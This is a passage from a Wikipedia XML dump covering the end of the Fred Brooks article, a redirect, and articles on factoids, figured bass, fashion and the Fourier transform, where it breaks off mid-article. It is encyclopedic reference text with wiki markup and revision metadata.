In January 2005 he gave the [[IEE]]/[[British Computer Society|BCS]] annual [[Alan Turing|Turing]] Lecture in [[London]] on the subject of &quot;Collaboration and Telecollaboration in Design&quot;. 

He is also a confessional Christian who is active with InterVarsity Christian Fellowship and the International Fellowship of Evangelical Students  (source: [http://www.cs.unc.edu/People/Faculty/Bios/brooks.html])

==Bibliography==
*{{cite book 
 | first = Frederick P.
 | last = Brooks
 | coauthors = [[Kenneth Iverson]]
 | year = 1963
 | title = [[Automatic Data Processing]]
 | publisher =
 | id =
}}
*{{cite book
 | first = Frederick P.
 | last = Brooks
 | coauthors = [[Kenneth Iverson]]
 | year = 1965
 | title = [[Automatic Data Processing, System/360 Edition]]
 | publisher =
 | id = ISBN 0471106054
}}
*{{cite book
 | first = Frederick P.
 | last = Brooks
 | year = [[1975]], 2nd ed. [[1995]]
 | title = [[The Mythical Man-Month]]: Essays on Software Engineering
 | publisher =
 | id = ISBN 0201835959
}}
*{{cite book
 | first = Frederick P.
 | last = Brooks
 | year = [[1987]]
 | title = [[No Silver Bullet]]: Essence and Accidents of Software Engineering
 | publisher =
 | id =
}} (reprinted in the second edition of ''The Mythical Man-Month'')
*{{cite book
 | first = Frederick P.
 | last = Brooks
 | coauthors = [[G. A. Blaauw]]
 | year = [[1997]]
 | title = [[Computer Architecture: Concepts and Evolution]]
 | publisher =
 | id = ISBN 0201105578
}}

==External links==
* [http://www.cs.unc.edu/~brooks/ Fred Brooks' homepage]

[[Category:1931 births|Brooks, Fred]]
[[Category:Living people|Brooks, Fred]]
[[Category:American computer scientists|Brooks, Fred]]&lt;!-- yes, *very* computerishly applied maths --&gt;
[[Category:Computer pioneers|Brooks, Fred]]
[[Category:VR Pioneers|Brooks, Fred]]
[[Category:American mathematicians|Brooks, Fred]]
[[Category:Duke University alumni|Brooks, Fred]]
[[Category:American technology writers|Brooks, Fred]]
[[Category:Turing Award laureates|Brooks, Fred]]
[[Category:People from the Triangle, North Carolina|Brooks, Fred]]
[[Category:IBM employees|Brooks, Fred]]
[[Category:Members and associates of the US National Academy of Sciences|Brooks, Fred]]

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[[nl:Frederick Brooks]]</text>
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  <page>
    <title>Frederick P. Brooks</title>
    <id>11654</id>
    <revision>
      <id>15909388</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
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      <comment>moved to &quot;Fred_Brooks&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Fred_Brooks]]
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  </page>
  <page>
    <title>Factoid</title>
    <id>11655</id>
    <revision>
      <id>40737796</id>
      <timestamp>2006-02-22T18:07:23Z</timestamp>
      <contributor>
        <username>Skeezix1000</username>
        <id>455783</id>
      </contributor>
      <comment>typo</comment>
      <text xml:space="preserve">'''''Factoid''''' can refer to a spurious (unverified, incorrect, or invented) &quot;fact&quot; intended to create or prolong public exposure or to manipulate public opinion.  The term was [[neologism|coined]] by [[Norman Mailer]] in his [[1973]] biography of [[Marilyn Monroe]].  Mailer himself described a factoid as &quot;facts which have no existence before appearing in a magazine or newspaper&quot;. Mailer created the word by combining the word &quot;[[fact]]&quot; and the ending &quot;[[-oid]]&quot; to mean &quot;like a fact&quot;. 

''Examples:'' 
*It is commonly believed in the Australian city of [[Mount Isa, Queensland|Mount Isa]] that their city, in terms of its area, is the world's largest or second largest city.  In reality [[Mount Isa, Queensland|Mount Isa]] isn't even the largest city in Australia and there are many larger cities around the world.  Their own Local council web site incorrectly suggests it is the second largest city on earth.
*The media in [[Canada]] have often reported that the city of [[Toronto]] was named by [[UNESCO]] as the most multicultural city in the world.  Although there have been some reports suggesting that Toronto may be ''one of'' the world's most diverse cities (see [[Demographics of Toronto]]), the United Nations agency has never designated any city as being ''the most'' multicultural or diverse.  Nonetheless, the belief in this status persisted for years, even finding its way onto UNESCO's own web site ([http://www.unesco.org/most/usa9.htm]) and into international media reports in respect of Toronto's two [[Olympics|Olympic]] bids.

'''''Factoid''''' is sometimes now also used to mean a small piece of true but often valueless or insignificant information. This definition was popularized by the [[CNN Headline News]] TV channel which during the [[1980s]] and [[1990s]] used to frequently include such a fact under the heading of the word &quot;factoid&quot; during newscasts.  This version of the definition can also be referred to as a '''''Factlet'''''. In the United Kingdon, [[BBC Radio 2]] presenter [[Steve Wright]] uses factoids extensively on his show.

''Example:'' 
*If the entire history of the earth lasted a period of only two days, human history would take up only the last two seconds.

==Sources==
* [http://www.mountisa.qld.gov.au/welcome/The_City_Today/the_city_today.html Mount Isa City Council page suggesting their city is the second largest city in the world]


==See also==
*[[Trivia]]
*[[Truthiness]]

==External links==
* [http://samvak.tripod.com/factoidsindex.html Cyclopedia of Factoids]

{{vocab-stub}}

[[Category:Communication]]

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  <page>
    <title>Figured bass</title>
    <id>11656</id>
    <revision>
      <id>41199139</id>
      <timestamp>2006-02-25T19:01:41Z</timestamp>
      <contributor>
        <username>Violncello</username>
        <id>916612</id>
      </contributor>
      <minor />
      <comment>dab</comment>
      <text xml:space="preserve">'''Figured bass''', or '''thoroughbass''', is a kind of integer [[musical notation]] used to indicate intervals, [[chord (music)|chord]]s, and [[nonchord tone]]s, in relation to a bass note. Figured bass is closely associated with '''basso continuo''', an [[accompaniment]] used in almost all genres of music in the [[Baroque music|Baroque period]].

==Basso continuo==
Basso continuo parts, almost universal in the [[Baroque music|Baroque]] era (1600-1750), were, as the name implies, played continuously throughout a piece, providing the [[harmony (music)|harmonic]] structure of the music. The word is often shortened to ''continuo'', and the instrumentalists playing the continuo part, if more than one, are called the ''continuo group''.

The makeup of the continuo group is often left to the discretion of the performers, and practice varied enormously within the Baroque period. At least one instrument capable of playing chords must be included, such as a [[harpsichord]], [[organ (music)|organ]], [[lute]], [[theorbo]], [[guitar]], or [[harp]]. In addition, any number of instruments which play in the [[bass (music)|bass]] register may be included, such as [[cello]], [[double bass]], [[viol|bass viol]], [[viola da gamba]], or [[bassoon]]. The most common combination, at least in modern performances, is harpsichord and cello for instrumental works and secular vocal works, such as [[opera]]s, and organ for [[sacred music]].

The keyboard (or other chording instrument) player ''realizes'' a continuo part by playing, in addition to the indicated bass notes, upper notes to complete chords, either determined ahead of time or [[improvisation|improvised]] in performance. The figured bass notation, described below, is a guide, but performers are expected to use their musical judgment and the other instruments or voices as a guide. Modern editions of music usually supply a realized keyboard part, fully written out for the player, eliminating the need for improvisation. With the rise in [[authentic performance|historically informed performance]], however, the number of performers who improvise their parts, as Baroque players would have done, has increased.

Basso continuo, though an essential structural and identifying element of the Baroque period, continued to be used in many works, especially sacred choral works, of the [[Classical music era|classical]] period (up to around 1800). Examples of its use in the [[19th century]] are rarer, but they do exist: [[mass (music)|mass]]es by [[Anton Bruckner]], [[Ludwig van Beethoven|Beethoven]], and [[Franz Schubert]], for example, have a basso continuo part for an organist to play.

==Figured bass notation==

A part notated with figured bass consists of a bass-line notated with [[note]]s on a [[musical staff]] plus added numbers and [[Accidental (music)|accidental]]s beneath the staff to indicate at what [[interval (music)|interval]]s above the bass notes should be played, and therefore which inversions of which chords are to be played. The phrase ''tasto solo'' indicates that only the bass line (without any upper chords) is to be played for a short period, usually until the next figure is encountered.

Composers were inconsistent in the usages described below. Especially in the 17th century, the numbers were omitted whenever the composer thought the chord was obvious. Early composers such as [[Claudio Monteverdi]] often specified the octave by the use of [[interval (music)|compound intervals]] such as 10, 11, and 15.

===Numbers===
The numbers indicate the number of [[scale]] steps above the given bass-line that a note should be played. For example:

[[Image:C with 64 figured bass.png]]

Here, the bass note is a C, and the numbers 4 and 6 indicate that notes a fourth and a sixth above it should be played, that is an F and an A. In other words, the second inversion of an F major chord is to be played.

In cases where the numbers 3 or 5 would normally be indicated, these are usually (though not always) left out, owing to the frequency these intervals occur. For example:

[[Image:CBG with - 6 7 figured bass.png]]

In this sequence, the first note has no numbers accompanying it - both the 3 and the 5 have been omitted. This means that notes a third above and a fifth above should be played - in other words, a root position chord. The next note has a 6, indicating a note a sixth above it should be played; the 3 has been omitted - in other words, this chord is a first inversion. The note has only a 7 accompanying it; here, as in the first note, both the 3 and the 5 have been omitted - the seven indicates the chord is a seventh chord. The whole sequence is equivalent to:

[[Image:Chords C-B63-G7.png]]

although the performer may choose himself which octave to play the notes in and will often elaborate them in some way rather than play only chords, depending on the [[tempo]] and [[texture (music)|texture]] of the music.

Sometimes, other numbers are omitted:  a 2 on its own or 42 indicate 642, for example.

Sometimes the figured bass number changes but the bass note itself does not. In these cases the new figures are written wherever in the bar they are meant to occur. In the following example, the top line is supposed to be a melody instrument and is given merely to indicate the rhythm (it is not part of the figured bass itself):

[[Image:C with 6-5 in figured bass.png]]

When the bass note changes but the notes in the chord above it are to be held, a line is drawn next to the figure or figures to indicate this:

[[Image:C-B with 6-line in figured bas.png]]

The line extends for as long as the chord is to be held.

===Accidentals===

When an accidental is shown on its own without a number, it applies to the third of the chord; otherwise it applies to whichever note it is shown next to. For example, this:

[[Image:E with sharp and C with b6b figured bass.png]]

is equivalent to this:

[[Image:Emaj and Abmaj chords.png]]

Sometimes the accidental is placed after the number rather than before it.

Alternatively, a cross placed next to a number indicates that the pitch of that note should be raised by a [[semitone]] (so that if it is normally a flat it becomes a natural, and if it is normally a natural it becomes a sharp). A different way to indicate this is to draw a bar though the number itself. The following three notations, therefore, all indicate the same thing:

[[Image:Cs with natural6, 6 and barred6.png]]

When sharps or flats are used with [[key signature]]s they may have a slightly different meaning, especially in 17th-century music. A sharp might be used to cancel a flat in the key signature, or vice versa, instead of a natural sign.

==History==
The origins of basso continuo practice are somewhat murky.  Improvised organ accompaniments for choral works were common by the late 16th century, and separate organ parts, showing only a bass line, date back to at least 1587.  In the mid-16th century, some Italian church composers began to write [[polychoral]] works.  These pieces, for two or more choirs, were created in recognition of particularly festal occasions, or else to take advantage of certain architectural properties of the buildings in which they were performed.  With eight or more parts to keep track of in performance, works in polychoral style (also known as &lt;em&gt;cori spezzati&lt;/em&gt;, since the choirs were structured in sometimes musically independent, sometimes musically interlocking parts, and may sometimes also have been placed in physically different locations) required some sort of instrumental accompaniment.  It is important to note that the concept of allowing two or more concurrently performing choirs to be independent structurally would or could almost certainly not have arisen had there not been an already-existing practice of choral accompaniment in church.  Financial and administrative records indicate the presence of organs in churches dating back to the 15th century, and though their precise use is not known, it stands to reason that it was to some degree in conjunction with singers.  Indeed, there exist many first-person accounts of church services from the 15th and 16th centuries that imply organ accompaniment in some portions of the liturgy, as well as indicating that the &lt;em&gt;a cappella&lt;/em&gt;-only practice of the [[Vatican City|Vatican's]] &lt;em&gt;Capella Sistina&lt;/em&gt; was somewhat unusual.  By early in the 16th century, it seems that accompaniment by organ at least in smaller churches was commonplace, and commentators of the time lamented on occasion the declining quality of church choirs.  Even more tellingly, many manuscripts, especially from the middle of the century and later, feature written-out organ accompaniments.  It is this last observation which leads directly into the foundations of continuo practice, in a somewhat similar one called &lt;em&gt;basso seguente&lt;/em&gt;, &quot;following bass.&quot;   Written-out accompaniments are found most often in early polychoral works (those composed, obviously, before the onset of [[concertato|concerted]] style and its explicit instrumental lines), and generally consist of a complete reduction (to what would later be called the &quot;grand staff&quot;) of one choir’s parts.  In addition to this, however, for those parts of the music during which that choir rested was presented a single line consisting of the lowest note being sung at any given time, which could be in any vocal part.  Even in early concerted works by the [[Gabrieli]]s, [[Claudio Monteverdi|Monteverdi]], and others, the lowest part, that which modern performers colloquially call &quot;continuo,&quot; is actually a basso seguente, though slightly different, since with separate instrumental parts the lowest note of the moment is often lower than any being sung.  

The first known instance of a basso seguente in publication was a book of [[Introit]]s and [[Alleluia]]s by the Venetian [[Placido Falconio]] dating from [[1575]].  What is known as the &quot;figured&quot; continuo, which also features a bass line that because of its structural nature may differ from the lowest note in the upper parts, developed over the next quarter-century.  The composer [[Lodovico Grossi da Viadana|Lodovico Viadana]] is often credited with the first publication of such a continuo, in a [[1602]] collection of motets that according to his own account had been originally written in [[1594]].  Viadana’s continuo, though, did not actually include figures. The earliest extant part with sharp and flat signs above the staff is a [[motet]] by [[Giovanni Croce]], also from 1594. Following and figured basses developed concurrently in secular music; such madrigal composers as [[Emilio de' Cavalieri|Emilio de'Cavalieri]] and [[Luzzasco Luzzaschi]] began in the late 16th century to write works explicitly for a soloist with accompaniment, following an already standing practice of performing multi-voice madrigals this way, and also responding to the rising influence at certain courts of particularly popular individual singers.  This tendency toward solo-with-accompaniment texture in secular vocal music culminated in the genre of [[monody]], just as in sacred vocal music it resulted in the [[sacred concerto]] for various forces including few voices and even solo voices. The use of numerals to indicate accompanying sonorities began with the earliest [[opera]]s, composed by Cavalieri and [[Giulio Caccini|Giulio Caccini]].  These new genres, just as the polychoral one probably was, were indeed made possible by the existence of a semi- or fully independent bass line.  In turn, the separate bass line, with figures added above to indicate other chordal notes, shortly became &quot;functional,&quot; as the sonorites became &quot;harmonies,&quot; (see [[harmony]] and [[tonality]]), and music came to be seen in terms of a melody supported by chord progressions, rather than interlocking, equally important lines as in [[polyphony]].  The figured bass, therefore, was integral to the development of the [[Baroque]], by extension the [[Classical music era|”classical”]], and by further extension most subsequent musical styles. 

Many composers and theorists of the 16th and 17th century wrote how-to guides to realizing figured bass, including [[Gregor Aichinger]], [[Telemann|Georg Philipp Telemann]], [[C.P.E. Bach]], and [[Michael Praetorius]].

==Contemporary uses==
It is also sometimes used by classical musicians as a shorthand way of indicating chords (though it is not generally used in modern musical compositions).  A form of figured bass is used in notation of [[accordion]] music. Today the most common use of figured bass notation is to indicate the [[inversion (music)|inversion]], however, often without the staff notation, using letter note names followed with the figure, for instance the bass note C in 64 figured bass would be written &lt;math&gt;C_4^6&lt;/math&gt;. The symbols can also be used with Roman numerals in analyzing [[diatonic functionality|functional harmony]], a usage called ''figured Roman''; see [[chord symbol]].


==External links==
*[http://www.robertkelleyphd.com/figuredbass.htm Figured Bass Symbology] by Robert Kelley
*[http://www.robertkelleyphd.com/scaledegrharm.htm Chords that the (major) Scale Degrees (in the bass) Can Imply] by Robert Kelley


[[Category:Musical notation]]
[[Category:Accompaniment]]

&lt;!-- Interwiki search http://vs.aka-online.de/globalwpsearch/ --&gt;
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  <page>
    <title>Fashion</title>
    <id>11657</id>
    <revision>
      <id>41793984</id>
      <timestamp>2006-03-01T20:16:47Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
        <id>16175</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.55.230.121|210.55.230.121]] ([[User talk:210.55.230.121|talk]]) to last version by 68.44.3.188</comment>
      <text xml:space="preserve">{{for|1980s New Wave band|Fashion (band)}}

The term '''fashion''' applies to a prevailing mode of expression.  Inherent in the term is the idea that the mode will change more quickly than the [[culture]] as a whole.  The terms &quot;fashionable&quot; and &quot;unfashionable&quot; are employed to describe whether someone or something fits in with the currently popular mode of expression.
The term &quot;fashion&quot; is often used in a negative sense, as a synonym for [[fads]] and [[trends]].  In this sense, fashions are essentially a relief from boredom, or a distraction from important matters, for the idle rich.  The term is also frequently used in a positive sense, as a synonym for [[glamour]] and [[style]].  In this sense, fashions are a sort of communal [[art]], through which a culture examines its notions of [[beauty]] and [[goodness]].

Fashions are [[social psychology]] phenomena common to many fields of human activity and thinking.  The rises and falls of fashions have been especially documented and examined in the following fields:
*[[Architecture]], [[interior design]], and [[landscape design]]
*Arts and [[crafts]]
*[[Body type]], [[clothing]] or [[costume]], [[cosmetics]], [[grooming]], and [[personal adornment]]
*[[Cuisine]]
*[[Dance]] and [[music]]
*[[Forms of address]], [[slang]], and other forms of speech
*[[Economics]] and spending choices, as studied in [[behavioral finance]]
*[[Entertainment]], [[games]], [[hobbies]], [[sports]], and other pastimes
*[[Etiquette]]
*[[Politics]] and [[media]], especially the topics of [[conversation]] encouraged by the media
*[[Philosophy]] and [[spirituality]]  (One might argue that [[religion]] is prone to fashions, although official religions tend to change so slowly that the term [[cultural shift]] is perhaps more appropriate than &quot;fashion&quot;)
*[[Technology]], such as the choice of [[programming]] techniques

Of these fields, [[costume]] especially has become so linked in the public eye with the term &quot;fashion&quot; that the more general term &quot;costume&quot; has been relegated by many to only mean [[fancy dress]] or [[Masquerade ball|masquerade]] wear, while the term &quot;fashion&quot; means [[clothing]] generally, and the study of it.  This linguistic switch is due to the so-called [[fashion plates]] which were produced during the [[Industrial Revolution]], showing novel ways to use new textiles.  For a broad cross-cultural look at clothing and its place in society, refer to the entries for Clothing and Costume.  The remainder of this article deals with clothing fashions in the industrialized world.

== Fashion and variation ==
[[Image:ADurerNuremburgVenetianWomen.jpg|thumb|right|280px|[[Albrecht Dürer]]'s drawing contrasts a well-turned out ''bourgeoisie'' from [[Nuremberg]] (left) with her counterpart from [[Venice]], in 1496-97. The Venetian lady's high [[chopines]] make her taller.]]
The [[Europe]]an idea of fashion as a personal statement rather than a cultural expression begins in the [[16th century]]: ten portraits of German or Italian gentlemen may show ten entirely different hats. But the local culture still set the bounds, as [[Albrecht Dürer]] recorded in his actual or composite contrast of Nuremberg and Venetian fashions at the close of the [[15th century]] (''illustration, right''). Fashions among upper-class Europeans began to move in synchronicity in the [[18th century]]; though colors and patterns of textiles changed from year to year, (Thornton), the cut of a gentleman's coat and the length of his waistcoat, or the pattern to which a lady's dress was cut changed more slowly. Men's fashions derived from military models, and changes in a European male silhouette are galvanized in theatres of European war, where gentleman officers had opportunities to make notes of foreign styles: an example is the &quot;Steinkirk&quot; cravat (see [[Cravat]]).

The pace of change picked up in the [[1780s]] with the publication of French engravings that showed the latest Paris styles. By [[1800]], all Western Europeans were dressing alike: local variation became first a sign of provincial culture, and then a badge of the conservative [[peasant]] (James Laver; [[Fernand Braudel]]).
 
Fashion in clothes has allowed wearers to express [[emotion]] or solidarity with other people for millennia. Modern [[Western society | West]]erners have a wide choice available in the selection of their clothes. What a person chooses to wear can reflect that person's [[personality]] or likes. When people who have cultural [[status]] start to wear new or different clothes a fashion trend may start; people who like or respect them may start to wear clothes of a similar [[style]].

Fashions may vary significantly within a [[society]] according to [[ageing|age]], [[social class]], [[generation]], [[Profession|occupation]] and [[geography]] as well as over time. If, for example, an older person dresses according to the fashion of young people, he or she may look ridiculous in the eyes of both young and older people. The term &quot;fashion victim&quot; refers to someone who slavishly follows the current fashions (implementations of fashion)..

One can regard the system of sporting various fashions as a fashion [[language]] incorporating various [[fashion statement]]s using a [[grammar]] of fashion. (Compare some of the work of [[Roland Barthes]].)

*Thornton, Peter. ''Baroque and Rococo Silks.''

:''See also'' [[History of Western fashion]]

== Fashion and the process of change ==
[[Image:1913-Dictates-of-Fashion-Calvert-Life-cartoon.png|thumb|right|279px|1913 cartoon on the dictates of fashion, from the old &quot;Life&quot; magazine.]]

Fashion, by definition, changes constantly. The change may proceed more rapidly than in most other fields of human activity ([[language]], [[thought]], etc). For some, modern fast-paced change in fashion embodies many of the negative aspects of [[capitalism]]: it results in waste and encourages people ''qua'' [[consumer]]s to buy things unnecessarily. Others, especially young people, enjoy the diversity that changing fashion can apparently provide, seeing the constant change as a way to satisfy their desire to experience &quot;new&quot; and &quot;interesting&quot; things. Note too though that fashion can change to enforce uniformity, as in the case where so-called [[Mao suit]]s became the national uniform of Mainland [[China]].

Materially affluent societies can offer a variety of different fashions, in clothes or accessories, to choose from. At the same time there remains an equal or larger range designated (at least currently) 'out of fashion'. (These or similar fashions may cyclically come back 'into fashion' in due course, and remain 'in fashion' again for a while.) 

Practically every aspect of appearance that can be changed has been changed at some time. In the past, new discoveries and lesser-known parts of the world could provide an impetus to change fashions based on the [[exoticism | exotic]]:  Europe in the eighteenth or nineteenth centuries, for example, might favor things Turkish at one time, things Chinese at another, and things Japanese at a third. The global village has reduced the options of exotic novelty in more recent times.

[[Fashion house]]s and their associated [[fashion designer]]s, as well as high-status consumers (including [[celebrity | celebrities]]), appear to have some role in determining the rates and directions of fashion change.

== Fashion and status ==
Fashion can suggest or signal [[status]] in a [[social group]]. Groups with high cultural status like to keep 'in fashion' to display their position; people who do not keep 'in fashion' within a so-called &quot;style tribe&quot; can risk shunning (see also [[peer pressure]]). Because keeping 'in fashion' often requires considerable amounts of money, fashion can be used to show off [[wealth]] (compare [[conspicuous consumption]]). Adherence to fashion trends can thus form an index of social affluence and an indicator of [[social mobility]].

Fashion can help attract a partner. Many people often use fashion as an indicator of what a person is like.  As well as showing certain features of a person's personality that appeal to prospective mates, keeping up with fashion can advertise a person's status to such candidates. Perhaps even more importantly, it sends a signal of superiority to potential competitors of the same gender, who are frequently better informed about what's fashionable than the potential mates are. Conversely, a person who exhibits a fashion style that rejects or deliberately tries to offend the current trend may also have an advantage in finding other like-minded individuals.

&quot;Fashion sense&quot; consists of the ability to tell what [[clothing]] and/or accessories look good and what do not. Since the entire notion of fashion depends on subjectivity, so does the question of who possesses &quot;fashion sense&quot;. Some people style themselves as &quot;fashion consultants&quot; and charge clients to help the latter choose what to wear.  Designers show the public what is new and in style by using [[Fashion Modeling | fashion models]] to display the clothing. [[Image consultant]]s help people revamp or create fashion sense.
Fashion can operate differently depending on [[gender]], or it can promote homogeneity as in [[unisex]] styles.

== Classification of fashions ==

Ethnically-based fashions:
* [[Chinoiserie]]
* [[Orientalism]]
* [[Primitivism]]

Modern underground fashion:
* [[Cyberpunk fashion]]
* [[Punk fashion]]
* [[Gothic fashion]]
* [[Death rock fashion]]
* [[Black metal fashion]]
* [[Industrial fashion]]
* [[BDSM fashion]] 
* [[urban fashion]]

The ultimate world capital of fashion is [[Paris]], which is home to the premier fashion houses of the world including [[Chanel]], [[Yves Saint Laurent]], [[Givenchy]] and [[Louis Vuitton]]. The other major fashion capitals are [[London]], [[New York]] and [[Milan]] which together with Paris each host a bi-annual 'Fashion Week' where both established and new designers showcase their latest collections.

== See also ==
{{wiktionarypar|Wiktionary}}
* [[Aesthetics]]
* [[Art movement]]
* [[Art styles, periods and movements]]
* [[Cyberprep fashion]]
* [[Fad]]
* [[Fashion footwear]]
* [[Fashion police]]
* [[Fashion design]]
* [[Fashion Modeling]]
* [[Haute couture]]
* [[History of Western fashion]]
* [[Innovation]]
* [[i-wear]]
* [[Marketing]]
* [[Planned obsolescence (business)]]
* [[Safari jacket]]
* [[Shoe]]
* [[Ski jacket]]
* [[Steven Cojocaru]]
* [[Streetwear]]
* [[Trench coat]]
* [[Young fashion]]: showing the [[G-string|thong]]s.
* [[1990s fashion]]
* [[St. Tropez Belt]]

=== Further reading === 
*[http://fax.libs.uga.edu/GT850xC4/ ''THE HISTORY OF FASHION IN FRANCE''], by M. Augustin Challamel, (1882 Eng. Trans.) ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/GT850xC4/1f/history_of_fashion_in_france.pdf layered PDF] format)''
*[http://fax.libs.uga.edu/GT513xL32/ ''LACY'S DRAMATIC COSTUMES''], collected &amp; edited by Thomas Hailes Lacy, 1865 &amp; 1868. ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/GT513xL32/1f/ layered PDF] format)''
*The chapter on Fashion in &lt;cite&gt; Georg Simmel, on Individuality &amp; Social Forms, Selected Writings&lt;/cite&gt;, Georg Simmel, edited by Donald N. Levine, University of Chicago Press, 1971, hardcover, 393 pages, ISBN 0226757757

===Films about fashion===
*''[[Mode in France]]'' (1984), Directed by [[William Klein]] 
*''[[Prêt-à-Porter (film)|Prêt-à-Porter]]'' (1994), Directed by [[Robert Altman]]
*''[[Catwalk (film)|Catwalk]]'' (1996), Directed by [[Robert Leacock]] 
*''[[Zoolander]]'' (2001), Directed by [[Ben Stiller]]
*''[[Cities and Clothes]]'' (1989), Directed by [[Wim Wenders]]

===External links===
*[http://dept.kent.edu/museum/costume/ Bissonnette on Costume] - A Visual Dictionary of Fashion from Kent State University browsable by geography, time, and subject
*[http://designers.fmd1.com FMD - fashion designers &amp; brands database]
*[http://www.bridalgems.co.uk Wedding Fashion Jewellery] - Modern Bridal Fashions 
*[http://tiger.towson.edu/~apeak1/writtenwork/thoughtpieces/rippedjeans.html A light-hearted article on ripped jeans]
*[http://www.facets.wordpress.com/ Facets of Sri Lanka]
*[http://funkyfashion.oldiblog.com/ Funky Fashion]
*[http://members.aol.com/fashion901 Articles On Fashion Tips of Past, Present &amp; Future]

[[Category:Human appearance]]
[[Category:Social psychology]]
[[Category:Fashion]]

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  <page>
    <title>Fourier Transform Spectroscopy</title>
    <id>11658</id>
    <revision>
      <id>15909392</id>
      <timestamp>2002-04-05T08:25:48Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>=&amp;gt; Fourier transform spectroscopy</comment>
      <text xml:space="preserve">#REDIRECT [[Fourier transform spectroscopy]]</text>
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  </page>
  <page>
    <title>Fourier transform</title>
    <id>11659</id>
    <revision>
      <id>42080026</id>
      <timestamp>2006-03-03T18:09:59Z</timestamp>
      <contributor>
        <username>Jyossarian</username>
        <id>561052</id>
      </contributor>
      <comment>/* External links */  (fixed author name)</comment>
      <text xml:space="preserve">{{Fourier transforms}}The '''Fourier transform''', named after [[Joseph Fourier]], is an [[integral transform]] that re-expresses a function in terms of [[trigonometric function|sinusoidal]] [[basis function]]s, i.e. as a sum or integral of sinusoidal functions multiplied by some coefficients (&quot;amplitudes&quot;).  There are many closely related variations of this transform, summarized below, depending upon the type of function being transformed.  See also: [[List of Fourier-related transforms]].

==Applications==
Fourier transforms have many scientific applications &amp;mdash; in [[physics]], [[number theory]], [[combinatorics]], [[signal processing]], [[probability theory]], [[statistics]], [[cryptography]], [[acoustics]], [[oceanography]], [[optics]], [[geometry]], and other areas.  (In signal processing and related fields, the Fourier transform is typically thought of as decomposing a signal into its component [[frequency|frequencies]] and their [[amplitude]]s.) This wide applicability stems from several useful properties of the transforms:

* The transforms are [[linear operator]]s and, with proper normalization, are [[unitary operator|unitary]] as well (a property known as [[Parseval's theorem]] or, more generally, as the [[Plancherel theorem]], and most generally via [[Pontryagin duality]]).

* The transforms are invertible, and in fact the inverse transform has almost the same form as the forward transform.

* The sinusoidal basis functions are [[eigenfunctions]] of [[derivative|differentiation]], which means that this representation transforms linear [[differential equation]]s with [[constant coefficients]] into ordinary algebraic ones.  (For example, in a linear time-invariant physical system, [[frequency]] is a conserved quantity, so the behavior at each frequency can be solved independently.)

* By the [[convolution theorem]], Fourier transforms turn the complicated [[convolution]] operation into simple multiplication, which means that they provide an efficient way to compute convolution-based operations such as [[polynomial]] multiplication and [[multiplication algorithm|multiplying large numbers]].

* The discrete version of the Fourier transform (see below) can be evaluated quickly on computers using [[fast Fourier transform]] (FFT) algorithms.

==Variants of the Fourier transform==
===Continuous Fourier transform===
Most often, the unqualified term &quot;Fourier transform&quot; refers to the [[continuous Fourier transform]], representing any [[Integrable function#Square-integrable|square-integrable]] function ''f''(''t'') as a sum of [[complex number|complex]]  exponentials with angular frequencies &amp;omega; and complex amplitudes ''F''(&amp;omega;):

:&lt;math&gt;
f(t) = \mathcal{F}^{-1}(F)(t)
 = \frac{1}{\sqrt{2\pi}} \int\limits_{-\infty}^\infty F(\omega) e^{i\omega t}\,d\omega.
&lt;/math&gt;&lt;!-- There are a number of different conventions that are used for the FT: different normalizations, different signs in the exponent...this is discussed in the [[continuous Fourier transform]] article.  Please do not change this formula to match your favorite convention...we need to keep the different FT articles consistent. --&gt;

This is actually the ''inverse'' continuous Fourier transform, whereas the Fourier transform expresses ''F''(&amp;omega;) in terms of ''f''(''t''); the original function and its transform are sometimes called a ''transform pair''. See [[continuous Fourier transform]] for more information, including a table of transforms, discussion of the transform properties, and the various conventions.  A generalization of this transform is the [[fractional Fourier transform]], by which the transform can be raised to any real &quot;power&quot;.

When ''f''(''t'') is an [[even and odd functions|even or odd function]], the sine or cosine terms disappear and one is left with the [[cosine transform]] or [[sine transform]], respectively.  Another important case is where ''f''(''t'') is purely real, where it follows that ''F''(&amp;minus;&amp;omega;)&amp;nbsp;=&amp;nbsp;''F''(&amp;omega;)&lt;sup&gt;*&lt;/sup&gt; (where the &lt;math&gt;*&lt;/math&gt; denotes [[complex conjugation]].)  Similar special cases appear for all other variants of the Fourier transform as well.

===Fourier series===
The continuous transform is itself actually a generalization of an earlier concept, a [[Fourier series]], which was specific to periodic (or finite-domain) functions ''f''(''x'') (with period 2&amp;pi;), and represents these functions as a [[series (mathematics)|series]] of sinusoids:

:&lt;math&gt;f(x) = \sum_{n=-\infty}^{\infty} F_n \,e^{inx} ,&lt;/math&gt;

where &lt;math&gt;F_n&lt;/math&gt; is the (complex) amplitude. Or, for [[real number|real]]-valued functions, the Fourier series is often written:

:&lt;math&gt;f(x) = \frac{1}{2}a_0 + \sum_{n=1}^\infty\left[a_n\cos(nx)+b_n\sin(nx)\right],&lt;/math&gt;

where ''a''&lt;sub&gt;''n''&lt;/sub&gt; and ''b''&lt;sub&gt;''n''&lt;/sub&gt; are the (real) Fourier series amplitudes.

===Discrete Fourier transform===
For use on computers, both for scientific computation and [[digital signal processing]], one must have functions ''x''&lt;sub&gt;''k''&lt;/sub&gt; that are defined over ''discrete'' instead of continuous domains, again finite or periodic.  In this case, one uses the [[discrete Fourier transform]] (DFT), which represents ''x''&lt;sub&gt;''k''&lt;/sub&gt; as the sum of sinusoids:

:&lt;math&gt;x_k = \frac{1}{n} \sum_{j=0}^{n-1} f_j e^{2\pi ijk/n} \quad \quad k = 0,\dots,n-1&lt;/math&gt;

where ''f''&lt;sub&gt;''j''&lt;/sub&gt; are the Fourier amplitudes. Although applying this formula directly would require O(''n''&lt;sup&gt;2&lt;/sup&gt;) operations (see [[Big O notation]]), it can be computed in only O(''n'' log ''n'') operations using a [[fast Fourier transform]] (FFT) algorithm, which makes FFT a practical and important operation on computers.

===Other variants===
